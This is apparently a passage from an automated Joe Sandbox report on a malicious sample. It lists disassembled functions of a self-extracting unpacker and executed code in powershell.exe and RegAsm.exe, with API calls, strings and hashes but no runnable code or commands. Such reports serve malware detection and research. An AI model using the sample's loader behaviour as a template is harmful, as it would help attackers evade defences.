Opcode Fuzzy Hash: 354dd0a735b34388ad5f877ea76a86da7b7875453ded65a43a8ee6639794adbd
Instruction Fuzzy Hash: EF113D71B08B9187EBA85B62A44407DBAA0FB4EFE1F4991B8DD4E87758DF3CD4418710

Function 00007FF6975A2244 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32 ref: 00007FF6975A2271
WritePrivateProfileStringA.KERNEL32 ref: 00007FF6975A22A0
_lopen.KERNEL32 ref: 00007FF6975A22B4
_llseek.KERNEL32 ref: 00007FF6975A22CF
_lclose.KERNEL32 ref: 00007FF6975A22DF

Strings

wininit.ini, xrefs: 00007FF6975A2281

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction ID: 23e9a219ca0923b28d03fd20ab5f3f8274895953d30e413ef30d75924e0b1b17
Opcode Fuzzy Hash: 199b65378ca9828830684770953ab38004a5dc8256a53cff6ace6da1301a0c22
Instruction Fuzzy Hash: 83114F32B04A8187EB649B21E8542FAB7A1FBCD764F858171DA4E87768DF3CD509CA10

Function 00007FF6975A3840 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00007FF6975A388E
SetWindowTextA.USER32 ref: 00007FF6975A38AF
SetDlgItemTextA.USER32 ref: 00007FF6975A38CA
SetForegroundWindow.USER32 ref: 00007FF6975A38D9
EndDialog.USER32 ref: 00007FF6975A38EC

Strings

52352352352, xrefs: 00007FF6975A38A5

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Window$Text$DesktopDialogForegroundItem
String ID: 52352352352
API String ID: 761066910-1175956450
Opcode ID: db38f3c764be4f10092f313c704ee52b3d278942d11ca53377af995edae986b7
Instruction ID: e6457a2170a5ba83a9f7b3e513c8e629f879673301b344f6e9d2544f57bd8bf1
Opcode Fuzzy Hash: db38f3c764be4f10092f313c704ee52b3d278942d11ca53377af995edae986b7
Instruction Fuzzy Hash: 78111270D0974386FBFC5B55A4092B86A51FF8EBE5F5491B0C90E86399DF3CA444C620

Function 00007FF6975A494C Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

LocalAlloc.KERNEL32(?,?,?,?,00000000,00007FF6975A3388), ref: 00007FF6975A4975
LocalFree.KERNEL32(?,?,?,?,00000000,00007FF6975A3388), ref: 00007FF6975A4A11

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Strings

<None>, xrefs: 00007FF6975A49D5
FINISHMSG, xrefs: 00007FF6975A4959, 00007FF6975A49AC
@, xrefs: 00007FF6975A49F7

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$@$FINISHMSG
API String ID: 3507850446-4126004490
Opcode ID: aedc0cb394021a63a9408eb451deeea95bc994a5d044e743d2e3e1f25989d2fa
Instruction ID: bb7e209c6d42e351731133ce24d49659659c9e5df026e3a82b9ea0e99514bbac
Opcode Fuzzy Hash: aedc0cb394021a63a9408eb451deeea95bc994a5d044e743d2e3e1f25989d2fa
Instruction Fuzzy Hash: 6311D572A0835287FBB89B24F41077A77A1FB897E4F449175DA4E86B89DF3CD4048B14

Function 00007FF6975A79F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48libraryCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32 ref: 00007FF6975A7A68
LoadLibraryExA.KERNEL32 ref: 00007FF6975A7A88
LoadLibraryA.KERNEL32 ref: 00007FF6975A7A9D

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A7A0E
advpack.dll, xrefs: 00007FF6975A7A4B, 00007FF6975A7A96

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-1955609190
Opcode ID: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction ID: aebec5291449a85345f06bfc76990e81add2ec166b7e8db35752b5fa235cde3c
Opcode Fuzzy Hash: 9f0cd13c1bb279af47be13cee5dd35000d2da7fbef8f0ef7de7ad0cc9ac3dbe3
Instruction Fuzzy Hash: 2811A531A18A8296EFB58B10E4503F977A0FF897A4F8446B1C65D826A5DF3DD609C720

Function 00007FF6975A1500 Relevance: 7.6, APIs: 5, Instructions: 50windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6975A1545
GetDesktopWindow.USER32 ref: 00007FF6975A1557
LoadStringA.USER32 ref: 00007FF6975A1587
SetDlgItemTextA.USER32 ref: 00007FF6975A15A0
MessageBeep.USER32 ref: 00007FF6975A15AF

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: d24c32f5bf32a5b72a732329d1a2a01ce98f5d85b6cb7ead8bb70bc12569425c
Instruction ID: 68d35b0466e7da40de4d87d09f1df925d07528765d2b47df8349ba5f61159c21
Opcode Fuzzy Hash: d24c32f5bf32a5b72a732329d1a2a01ce98f5d85b6cb7ead8bb70bc12569425c
Instruction Fuzzy Hash: 28116061A08A8586EEB85B54F4053B9A7A0FB8DBF4F444271CA5E863D9CF3CD045CB10

Function 00007FF6975A3BF4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 236windowCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF6975A3C3F
MessageBeep.USER32 ref: 00007FF6975A3EB9

Part of subcall function 00007FF6975A7F04: GetVersionExA.KERNEL32 ref: 00007FF6975A7F59
Part of subcall function 00007FF6975A7F04: GetSystemMetrics.USER32 ref: 00007FF6975A7F93
Part of subcall function 00007FF6975A7F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF6975A7FC8
Part of subcall function 00007FF6975A7F04: RegQueryValueExA.ADVAPI32 ref: 00007FF6975A8003
Part of subcall function 00007FF6975A7F04: RegCloseKey.ADVAPI32 ref: 00007FF6975A8016
Part of subcall function 00007FF6975A7F04: CharNextA.USER32 ref: 00007FF6975A8065

MessageBoxA.USER32 ref: 00007FF6975A3EF3

Part of subcall function 00007FF6975A7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF6975A7E8C
Part of subcall function 00007FF6975A7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF6975A7ECA

Strings

52352352352, xrefs: 00007FF6975A3EE4, 00007FF6975A3F24

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: EnumLanguagesMessageResourceVersion$BeepCharCloseMetricsNextOpenQuerySystemValue
String ID: 52352352352
API String ID: 2312377310-1175956450
Opcode ID: 6925faca6a2cd81837304f5f4f2fd7570e59ff5b7a5509a8ec541a78deb6dc36
Instruction ID: f92323142209792acdbb6a3a1dcb3a5227cf8dad8a6d3e60f121e1de5cf538e7
Opcode Fuzzy Hash: 6925faca6a2cd81837304f5f4f2fd7570e59ff5b7a5509a8ec541a78deb6dc36
Instruction Fuzzy Hash: 0BA18D32E1928386FBF88B11944467A66A4FF547E8F5501BAE91DC3284DF3DE845CB20

Function 00007FF6975A78B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF6975A795B
WriteFile.KERNEL32 ref: 00007FF6975A7992
CloseHandle.KERNEL32 ref: 00007FF6975A79B7

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF6975A78E2

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-388467436
Opcode ID: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction ID: fbdd95352103298d2d09cc878b723b5a1cdacdc8bdd065492e3ca5f2b8a718ac
Opcode Fuzzy Hash: 0f65b1997a9f98f28a06f8ce24cdc0a961af7feeb94d9fcacdfae0386ba340ac
Instruction Fuzzy Hash: 593194727187818AEBA58F20E4407BAB7A0FB897E4F444675DA9D87794CF7CD408CB20

Function 00007FF6975A5C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

#20.CABINET ref: 00007FF6975A5CD9
#21.CABINET ref: 00007FF6975A5D18
#23.CABINET ref: 00007FF6975A5D52

Strings

*MEMCAB, xrefs: 00007FF6975A5CF2

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID:
String ID: *MEMCAB
API String ID: 0-3211172518
Opcode ID: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction ID: f9e614ddf58a1e5ae812ae9ecffb041ca456e8316dc686563c48a8c65cdf9ab4
Opcode Fuzzy Hash: 84e3e731c747766a29489c21773a7ead2eab1f416db6fdf01ae2d5964e993175
Instruction Fuzzy Hash: 1E316BB1A18B42C5EBA88B20E4487B977A0FB447E0F844276D96D82794EF3CE549C760

Function 00007FF6975A8470 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6975A84E3
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6975A8502
RtlVirtualUnwind.KERNEL32 ref: 00007FF6975A854F
__raise_securityfailure.LIBCMT ref: 00007FF6975A8634

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction ID: b7e265b2a2bf2c568951307b56df0b191dd5a04aee44c5e32c1a63df69b39a20
Opcode Fuzzy Hash: 2331a3b639adea238e9a50b849fe14964fd45a281eaa4897dacf7bdda2e71fe4
Instruction Fuzzy Hash: 3E41EA35A08B0585EBA8CB18F89036977A8FB897E4F904176D98DC3764DF7DE444C760

Function 00007FF6975A7C40 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,00000000,00007FF6975A2B25), ref: 00007FF6975A7C64
CharPrevA.USER32(?,?,00000000,00007FF6975A2B25), ref: 00007FF6975A7C80
CharPrevA.USER32(?,?,00000000,00007FF6975A2B25), ref: 00007FF6975A7CA4
CharNextA.USER32(?,?,00000000,00007FF6975A2B25), ref: 00007FF6975A7CB8

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction ID: 01c30de697aed2ac5a9a217dafcc9f8dcdfc0e76103fa28e2c471b4409e54e9b
Opcode Fuzzy Hash: 707050412bb26cc287988f04cda4ab0ae1f580e9279edb24177e5c3a1430149b
Instruction Fuzzy Hash: CE118A62A0869185FFA94B11B514279AF91EB8DFF1F4986B0DA5F47794CF3CD4408710

Function 00007FF6975A8648 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6975A8653
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6975A8672
RtlVirtualUnwind.KERNEL32 ref: 00007FF6975A86BF
__raise_securityfailure.LIBCMT ref: 00007FF6975A8735

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CaptureContextEntryFunctionLookupUnwindVirtual__raise_securityfailure
String ID:
API String ID: 140117192-0
Opcode ID: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction ID: 742938c7e32b7dd5fdd53b4a92f13843b114e57f284c4a27039f02d2700f3f84
Opcode Fuzzy Hash: f2b1ddacced677a847f8148696c66bf38e9a023ccacb3690f052d0a45ab1694c
Instruction Fuzzy Hash: 9221D535908B46C5EBA8CB44F8803A977B8FB89BA4F900176DA8D83764DF7DE454C760

Function 00007FF6975A3B40 Relevance: 6.0, APIs: 4, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(?,?,?,?,?,?,?,?,?,00000001,00007FF6975A3A09), ref: 00007FF6975A3B64
PeekMessageA.USER32 ref: 00007FF6975A3B89
DispatchMessageA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6975A3A09), ref: 00007FF6975A3BAC
PeekMessageA.USER32 ref: 00007FF6975A3BCD

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 7c1b033473dba301dd4ecd47eb6d04f722b5b1254afffa929906cb3dfbdd32c6
Instruction ID: 3c6e3ef0f15f597e822fe14035dcff7acf800b3215cf0eac475c45ce8e10e1d5
Opcode Fuzzy Hash: 7c1b033473dba301dd4ecd47eb6d04f722b5b1254afffa929906cb3dfbdd32c6
Instruction Fuzzy Hash: 42118632A18786C7FBF48F20E444B7ABA91FF99799F409170DA4A82984DF3CD448CB10

Analysis Process: powershell.exePID: 1776, Parent PID: 972COMMON

Executed Functions

Function 00007FFD345437B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2677026903.00007FFD34540000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd34540000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: beb75e083c9451410778db7af2e0200886696d0147cd5d5cddc61f0df38a43ea
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: D801A77020CB0C4FDB44EF0CE051AB6B7E0FB95320F10056DE58AC3661D636E882CB41

Analysis Process: RegAsm.exePID: 4788, Parent PID: 5664COMMON

Execution Graph

Execution Coverage:	14.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 028DF330 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(?,?,?,?,00000000,?,?,?,?), ref: 028DF3A7

Memory Dump Source

Source File: 00000009.00000002.2296904061.00000000028D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 028D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_28d0000_RegAsm.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4bf7908d413926113c6dbf806aaeacca704e4fafd21ee3307b8fe3fbfb6211da
Instruction ID: fa915e930b83752024ac699588e6b4471326e9c879011a6fb52f1b704adc9e7e
Opcode Fuzzy Hash: 4bf7908d413926113c6dbf806aaeacca704e4fafd21ee3307b8fe3fbfb6211da
Instruction Fuzzy Hash: 1B111276800249DFCF10CF9AD944ADEBFF4FB48314F148419EA29A7210C339A554CFA1

Function 04F40BA8 Relevance: .3, Instructions: 292
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ca6fe36c7b0b15bd9644d38c4305ddede612924d68b983384ffeee1755d4cc
Instruction ID: 7c281a6d13db5f3b859160e60c49f1a3abc25a56c9de10d2a2192b8da53ed414
Opcode Fuzzy Hash: 25ca6fe36c7b0b15bd9644d38c4305ddede612924d68b983384ffeee1755d4cc
Instruction Fuzzy Hash: 9BA10135B05245CFCB14CB68D8985A9BFB1FF85304B1582AAE616CB292DF30EC47CB80

Function 04F40200 Relevance: .3, Instructions: 287
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6302b0ed772d1789fbdb143144db6a4e9941d9e44a83a085ee46f4be102e8ef1
Instruction ID: ff767d4ca59445471d2842b295bced6b773f836e6787514b5ef3800e79c68d1b
Opcode Fuzzy Hash: 6302b0ed772d1789fbdb143144db6a4e9941d9e44a83a085ee46f4be102e8ef1
Instruction Fuzzy Hash: AAB18D36B05600DFC720AB24C55462ABBA2EBC6310F15896ED16F9B785DF34FC86CB45

Function 04F40220 Relevance: .3, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9395efc8c5264bcf3db3d527ebb921834d998f4688ea4dde449dd91faa8151
Instruction ID: 395c43c5fcd0fccf603f68ad9e0f85e1a83a34819640a5481c4a8f8c9a187d20
Opcode Fuzzy Hash: 6f9395efc8c5264bcf3db3d527ebb921834d998f4688ea4dde449dd91faa8151
Instruction Fuzzy Hash: 01A17D36B04600DFC724AB24C55462ABBA2EBC6310F14896ED26F5BB85DF34FC86CB45

Function 04F40048 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2298071453.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bbaeb7bf57013ea5441b18c868eeb91c885138d48f6eaf5c817056a02cc82c7
Instruction ID: 56404af504298bd6755292e037cce5bc4bc920a772e4b8058398eac9c3730df6
Opcode Fuzzy Hash: 7bbaeb7bf57013ea5441b18c868eeb91c885138d48f6eaf5c817056a02cc82c7
Instruction Fuzzy Hash: D23155707006059FDB08DF29DC84E6EB7B5EFC8724F208659E6299B3A1DB30AC428B51

Function 00D1D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2295165796.0000000000D1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d1d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b06d73c12c121434cb47db4310812ae26e13e4dc84586607b02ddad330bdde
Instruction ID: f7eaf06536597824fa4ea72cf6bdeb47d1a40272370ac88efcb4a8a1514aa4f6
Opcode Fuzzy Hash: 74b06d73c12c121434cb47db4310812ae26e13e4dc84586607b02ddad330bdde
Instruction Fuzzy Hash: 5021F271604244FFDB05DF24E9C0B66BBA2FB84318F34C66DD9494B242CB3AD886CA75

Function 00D1D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2295165796.0000000000D1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d1d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba4cdf2073e1ef037e2115ae8c66ff59603697fa0c926e829ed50a949711ba32
Instruction ID: 4fcf7bb2b66ec923a80120056ad81ff32606cc9011ed1aa0aa59f03f2893fbb3
Opcode Fuzzy Hash: ba4cdf2073e1ef037e2115ae8c66ff59603697fa0c926e829ed50a949711ba32
Instruction Fuzzy Hash: 4A21F275604244FFDB14DF24E9C0B66BB62EB88314F24C56DE9494B246CB3AD887CA72

Function 00D1D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2295165796.0000000000D1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d1d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 115f41afa825531bba72919bb761bab228fde119b1890eaad57cc23d002355f4
